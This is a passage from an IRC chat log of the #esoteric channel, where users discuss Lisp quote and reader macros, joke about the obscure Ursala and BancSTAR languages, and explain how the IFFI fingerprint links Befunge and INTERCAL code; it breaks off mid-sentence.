0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, hm but is ' a macro? < 1267631171 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :'x -> (quote x) < 1267631173 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :special form < 1267631178 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :just like a macro except implemented in the compiler < 1267631182 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you can implement quote yourself but it's a bitch < 1267631192 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(Oleg did it iirc) < 1267631193 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, well, yeah, I guess you could regard special forms as a special sort of macros < 1267631197 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :didn't think of that < 1267631204 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://okmij.org/ftp/Scheme/quote-as-macro.txt < 1267631206 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :quote as a macro < 1267631215 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :relies on string->symbol though which is /so/ cheating < 1267631336 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Regardless, you need *some* special forms. They can't all be defined as macros. I'm not sure what the discussion is about, but I think there's a distinction between the two. < 1267631339 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, yes that is as my-quote. I have no idea if there is some way to make it work for the actual ' < 1267631363 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :'x is just syntax for (quote x). < 1267631372 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so just name the macro "quote". < 1267631383 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Actually, I think you don't. < 1267631387 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Well, actually, maybe you don't. < 1267631399 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(lambda (list (quote-symbol 97)) (quote-symbol 97)) < 1267631399 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(I mean, it doesn't really follow normal rules, like (foo bar '(1 2)) is valid, but putting my-quote at that point would require ( in front of my-quote, not after, wouldn't it?) < 1267631400 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :-> < 1267631404 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(lambda (a) a) < 1267631404 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, cya! < 1267631409 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So all you need is lambda, one single primitive function. < 1267631411 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: no < 1267631417 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :'x EXPANDS TO (quote x) < 1267631418 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :at PARSE TIME < 1267631422 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, ah, wasn't that type of arrow < 1267631431 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: It basically relies on the fact that numbers quote themselves. < 1267631436 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :By "question it" I meant I wanted an explanation >.> < 1267631444 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You could have no numbers and an evaluation rule () -> () if you want loads of fun. < 1267631453 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: it just isn't an issue in practice when writing lisp code < 1267631455 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, indeed, and that is what I thought you couldn't hack in using macros. < 1267631459 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Ah < 1267631467 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: well that's syntax not macros or special forms :P < 1267631476 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: And since the lambda calculus is good enough for anything... < 1267631495 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, of course. A pitty you can't do that to the syntax then. We need more powerful macros here. ;) < 1267631499 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Oh, if you want to build all of a regular Lisp on top of it you need one special form to define macros. < 1267631502 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Reader macros < 1267631513 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: You could have it as a function but that makes no sense; macros are compile-time. < 1267631533 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, hm, does that actually exist? Or is it a proposed solution? < 1267631543 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Exists. < 1267631557 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :heh, in scheme? < 1267631558 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Common Lisp and some Schemes have them. < 1267631561 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267631569 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://www.lispworks.com/documentation/HyperSpec/Body/f_set_ma.htm < 1267631570 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :example < 1267631576 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION looks
< 1267631620 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hey, those are functions. < 1267631625 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wonderful < 1267631628 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: So if you have reader macros, you can just define your own mega-quoting stuff. < 1267631638 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You won't even need any syntax except for (, ) and atoms. < 1267631652 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(numbers can be done like (() () ()) = 3) < 1267631656 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :uyck < 1267631676 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :use binary for goodness sake: ((()) (())) < 1267631687 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Plus cons, () evaluates to (), quote-symbol : some-representation-of-an-atom-using-()s -> symbol, and lambda (a function). < 1267631707 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Put a reader macro definition function on top of that (pass in the relevant stream-accessing functions yielding the ()-y representation), and tada. < 1267631715 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: please stop, you're going to accidentally invent Ursala < 1267631718 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You can define numbers, comments, and quote. < 1267631724 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Tada! Lisp. < 1267631727 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: :D < 1267631732 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise no lisp is defined this way :| < 1267631734 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, It would be an awsome to use reader macros to implement a language with as much syntax as perl on top of lisp < 1267631737 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: BUT < 1267631737 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :IT < 1267631738 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :CAN < 1267631738 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :BE < 1267631742 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :yes I agree < 1267631746 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :and it is much simpler too < 1267631748 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and it would be hilarious < 1267631755 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :I'm just saying in reality lisp is a lot less pure < 1267631767 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : alise: please stop, you're going to accidentally invent Ursala <-- Ursala? < 1267631772 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I'm not familiar with that < 1267631777 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: you're lucky < 1267631778 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :you don't want to be < 1267631780 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders why anmaster has to quote so much
< 1267631788 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, an esolang? < 1267631788 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: he only has one line of scrollback < 1267631792 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :< AnMaster> alise: please stop, you're going to accidentally invent Ursala <-- Ursala? <--- why does have to quote so much? < 1267631793 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it's in the BancSTAR category; languages which aren't meant to be eso, but act like it < 1267631805 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Eight Queens in Ursala: < 1267631806 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :queens = < 1267631806 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :%np+~command.options.&h.keyword.&iNC; -+ < 1267631807 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : ~&iNC+ file$[contents: --<''>+ %nLP*=; * '<'%='[ '+ ','%=', '+ '>'%=' ]']+ ~&rSSs+ nleq-<&l*rFlhthPXPSPS, < 1267631807 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : ~&i&& ~&lNrNCXX; ~&rr->rl %tLnLtXLLWXMk+ ^/~&l ~&lrrhrSiF4E?/~&rrlPlCrtPX ~&r; ^|/~& ^|T\~& -+ < 1267631807 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : -<&l^|*DlrTS/~& ~&iiDlSzyCK9hlPNNXXtCS, < 1267631808 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : ^jrX/~& ~&rZK20lrpblPOlrEkPK13lhPK2; ~&i&& nleq$-&lh+-, < 1267631808 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : ^/~&NNXS+iota -<&l+ ~&plll2llr2lrPrNCCCCNXS*=irSxPSp+ ^H/block iota; *iiK0 ^/~& sum+- < 1267631809 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy, ? < 1267631812 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1267631824 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, heh < 1267631828 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: So I think you should just forget about wanting to know anything about Ursala. < 1267631837 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, ah, those are kind of sad yet awesome at the same time < 1267631840 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :What does "Plain English" or whatever it's called count as? < 1267631843 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Same category? < 1267631848 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Let's put it this way: You create a tuple by changing the operator precedence of the previous expressions (postfix) < 1267631861 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: that would compile into code that looked like ((() () ()) (() () () (() ())) etc < 1267631865 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, wut? < 1267631875 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: at least, the two come to the same thing < 1267631882 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :We have fun with esolangs, why can't we have fun with supposed non-esolangs that are as strange as esolangs? < 1267631888 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :we can < 1267631896 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise and I have had endless fun laughing at Ursala < 1267631901 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, what was this language made for? < 1267631906 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: numerical computation < 1267631910 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: LSD < 1267631913 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :not that you could tell by looking at it < 1267631917 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :they go perfectly together < 1267631939 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, then: by who? when? for whom? < 1267631944 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :I'd say something about J, but J makes me want to run screaming too < 1267631950 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :J isn't all that bad < 1267631951 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :J is wonderful < 1267631954 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :nothing like Ursala < 1267631958 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it is just.... very terse? < 1267631965 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: It's TWO LANGUAGES < 1267631967 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I'd say Ursala tries to imitate some J concepts but fails < 1267631971 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :one is the ldfkjsdfoweriujWERIOJEIORJ thing < 1267631974 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric : cpressey: You could have it as a function but that makes no sense; macros are compile-time. <-- I submit this is the real debate to have. < 1267631976 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :all functions are postfix and right-associative < 1267631984 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, J? possibly, I don't know J. I have only seen J code < 1267631984 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and you do parens by saying "parenthesize the last N expressions" as an operator < 1267631993 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: no, ursala < 1267631996 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Very incomprehendible to someone who doesn't know J. Python is somewhat readable, Haskell is sometimes somewhat readable, J is impossible < 1267632000 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, ah. hm < 1267632007 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :seriously, it's just crazy < 1267632013 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: Only because of what you know. < 1267632023 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :what J is very readible < 1267632024 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I am /tired/ of this "intuitive" rubbish based on relative knowledge < 1267632037 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: you missed the bit where arguments get implied into expressions if they're missing from the syntax < 1267632042 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :haskell is mostly unreadible < 1267632043 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: also, types are done by simply guessing < 1267632052 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :if you run a program you have to specify the type to cast its result to < 1267632055 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :e.g. ~&B is a synonym for ~&lrB < 1267632056 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Erm, my statement was supposed to be relative to what someone who hasn't seen the language being compared knows < 1267632059 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :unless it's the accumulation of 10 PhDs on writing readible code < 1267632061 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, where can one read more about it? Plus the questions above < 1267632064 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: what's that operator that has no formal definitions? < 1267632071 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: you could try web-surfing for it < 1267632071 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: http://www.basis.uklinux.net/ursala/manual.pdf, http://www.basis.uklinux.net/ursala/ < 1267632073 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: I'll check < 1267632076 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: I am < 1267632083 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :huh < 1267632114 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :There's an operator that has no formal definitons? *cries* < 1267632115 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :*shudder* < 1267632125 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well, it does, they just haven't figured it out yet < 1267632127 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :is ursala real? < 1267632132 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, what is the other language then? < 1267632133 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :because it's just a list of special cases < 1267632134 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :I could never decide if it was a joke or not < 1267632135 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: Yep < 1267632137 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: the other part of ursala < 1267632140 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :"The I constructor has four practical uses shown in Table 2.2, as well as any generalizations of those obtained by using lrX in place of b and/or any single valued deconstructor in place of r or l. Other generalizations can be used experimentally but their effect isunspecified and subject to change in future revisions." < 1267632147 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, which is all but "ldfkjsdfoweriujWERIOJEIORJ"? < 1267632148 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"(~&w/`.)*~+ ~&s+ * skip/7; takewhile -=letters--digits--'.'" < 1267632151 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"*= skip/*9+ =]'Address: '*~+ ~&hm+ ask(bash)/<>+ <.'nslookup '-->" < 1267632151 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :err < 1267632152 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267632156 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :those first and last quotes are mine < 1267632183 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :single quotes delimit variable names in Ursala, i.e. Ursala "x" is equivalent to Perl $x < 1267632188 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, and I guess this split is done in a way that makes no sense? < 1267632197 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: you just intermingle them freely < 1267632198 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, that was double quotes? < 1267632205 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :those double quotes were mine < 1267632209 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: yes < 1267632211 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, then what makes them different? < 1267632215 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :s/single quotes/double quotes/ < 1267632217 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, I didn't mean your < 1267632219 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, ah < 1267632281 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I have to go for a while, guys; moving to another temporary residence lulz. < 1267632288 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :See you soon! ...Hopefully! < 1267632293 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :I'm just going to pretend that Ursula code looks sane to someone who knows Ursula, same way J is readable to J programmers. < 1267632295 0 :alise!unknown@unknown.invalid QUIT :Quit: alise < 1267632297 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :ok, bye, and that sounds worrying < 1267632298 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I ASK YOU, is it a mere coincidence that BancSTAR was developed for the banking industry *and* the author or Ursala has a degree in finance? < 1267632322 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Hm yes, that did sound worrying. < 1267632326 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: possibly not, the finance/banking industry is a source of some of the biggest problems in programming < 1267632380 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :both what cpressey mention and what alise said sounds worrying < 1267632559 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :scarf: Given the context, I'm not sure whether to interpret the "in" in your statement as "that can be addressed by" or "that are caused by" < 1267632587 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :um, I don't think I meant what I said < 1267632597 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :would "some of the most problematic programs" work better? < 1267632620 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, that works. < 1267632693 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1267632979 0 :dev_squid!~dev_squid@cpe-075-182-022-108.sc.res.rr.com JOIN :#esoteric < 1267633433 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION goes to look for BancSTAR tutorials
< 1267633453 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: I don't think there are any < 1267633463 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Any documentation, then? < 1267633470 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :no < 1267633477 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it was a proprietary trade-secret lang < 1267633496 0 :dev_squid!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1267633550 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric ::( < 1267633569 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :There was an example source posted on The Turing Tarpit site. But that was on geocities. Not sure if it was put back up? < 1267633582 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :geocities :( < 1267633591 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I have a backup < 1267633603 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :(of TTT, NOT of all of geocities) < 1267633637 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :is it on reocities? < 1267633650 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :or archive.org? < 1267633654 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :both were trying to back up the whole thing < 1267633678 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :http://www.geocities.com/ResearchTriangle/Station/2266/tarpit/tarpit.html < 1267633681 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :was its orig url < 1267633697 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Yup, reocities works < 1267633728 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :http://www.reocities.com/ResearchTriangle/Station/2266/tarpit/bancstar.html < 1267633818 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, btw do not assign the middot char to anything in befunge-111 < 1267633849 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :... because the befunge-98 spec allows for use of characters above 128 for private-use < 1267633852 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, doing so would break the only known case of "values above 127 being used for implementation thing" < 1267633854 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, yes < 1267633858 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and IFFI actually uses middot as a private-use character < 1267633860 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and the middot is used in IFFI < 1267633865 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :is there some sort of registry to declare these things? < 1267633880 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, IFFI being a fingerprint for befunge/intercal integration < 1267633940 0 :dev_squid!~dev_squid@cpe-075-182-022-108.sc.res.rr.com JOIN :#esoteric < 1267633951 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: OK. I had no plans to. < 1267633983 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: IFFI's the fingerprint, CFFI's the handprint < 1267633988 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and the implementation itself is mostly cfunge < 1267633994 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hmm, I should direct that at cpressey, really < 1267633999 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :indeed < 1267634005 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I'm not entirely sure he knew it was possible to link Befunge and INTERCAL programs < 1267634008 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, handprints are going to be deprecated in 111 < 1267634015 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, well true < 1267634024 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: you still need to put something in the y output < 1267634049 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, "reserved for compat reasons" is the plan last I heard < 1267634064 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :fair enough < 1267634073 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Handprints are going to be implementation-defined... handprints are *already* implementation-defined... < 1267634109 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :No, I had no idea. < 1267634115 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :No, there is no registry. < 1267634124 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267634163 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :anyway, a single entry point at the top-left turns out to be inadequate for embedding Befunge as a scripting language within INTERCAL programs < 1267634172 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :so the middots mark additional points to check to see if they're entry points or not < 1267634183 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Hm, COME FROM-style? < 1267634197 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :That sounds horrible, at any rate. < 1267634235 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :that's sort-of the point < 1267634239 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, scarf (maintainer of c-intercal (ick)) wrote a fingerprint for cfunge, that allows this integration, cfunge is built as a library and statically linked to the compiled INTERCAL program (only if it uses befunge linking of course) < 1267634255 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :IFFI the fingerprint is an implementation of all the INTERCAL flow-control operations in Befunge < 1267634258 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the program is loaded from an unsigned char * array < 1267634282 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(meh, small technical incorrectness in that type, but doesn't really matter) < 1267634310 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :if you use it with CFFI/ick_ecto_b98 the implementation, then it additionally links those flow-control operations in the Befunge with the flow-control operations in the INTERCAL < 1267634328 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :so you can do the equivalent of COME FROM (5) in the Befunge and come from line (5) in the INTERCAL program, or vice versa < 1267634344 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, wasn't it come from x,y ? < 1267634354 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :nope, line numbers < 1267634360 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :so it fits in with the INTERCAL program < 1267634363 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, even for befunge code side? < 1267634366 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :yep < 1267634370 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :you can even do computed COME FROMs < 1267634376 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :scarf: Dare I ask, does this support self-modification? Like if I 'p' a middot into the playfield... < 1267634382 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, I mean, comming from befunge < 1267634384 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :to intercal < 1267634402 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: it supports self-modification for everything but middot locations, at the moment; the middots are more compiler directives, they vanish on program load < 1267634415 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :didn't they turn into M or something? < 1267634418 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :yep < 1267634433 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :come to think of it, it wouldn't be that hard to change the directives at runtime; I'm just not sure if it's useful < 1267634437 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, could you come from a position in befunge too? I don't remember < 1267634459 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: M5C M5L is an infinite loop < 1267634467 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :if I've remembered the syntax correctly < 1267634474 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I may have got that backwards < 1267634487 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, well, come from is more like "if we get to that point, jump here" < 1267634497 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :yep < 1267634500 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so, it should be able to target anywhere shouldn't it? < 1267634506 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it can target any line label < 1267634508 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :like COME FROM befunge (2,4) < 1267634512 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :in intercal < 1267634513 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :come from can only hit lines which actually have a label on < 1267634519 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(well, with different syntax of course) < 1267634531 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :so in the INTERCAL, you write COME FROM (5), then it'll come from an M5L in the Befunge < 1267634543 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah right < 1267634562 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, btw, is there anything in IFFI that can interact weirdly with 